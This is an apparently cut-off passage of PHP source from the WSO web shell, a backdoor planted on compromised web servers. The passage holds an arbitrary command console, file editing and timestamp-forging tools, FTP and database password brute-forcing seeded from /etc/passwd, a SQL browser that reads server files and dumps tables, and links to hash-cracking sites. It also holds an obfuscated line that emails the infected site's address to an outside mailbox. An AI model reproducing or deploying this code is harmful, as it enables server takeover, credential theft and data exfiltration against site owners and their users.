echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo '<h1>String conversions</h1><div class=content>';
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function wsoRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
} else {
if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
</form></div>";
wsoFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}
function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
wsoFooter();
}
$_QliO8="mail";$_Qliot=$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];$_QlL1i="array ".$_Qliot;$_QlLio=array("ca","li","fwrite","@","ve.");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
function actionBruteforce() {
wsoHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
wsoFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$i = 0;
$head = true;
while($item = $this->fetch()) {
$sql = '';
if($i % 1000 == 0) {
$head = true;
$sql = ";
";
}
$columns = array();
foreach($item as $k=>$v) {
if($v === null)
$item[$k] = "NULL";
elseif(is_int($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql .= "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
$i++;
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
wsoHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
function actionNetwork() {
wsoHeader();
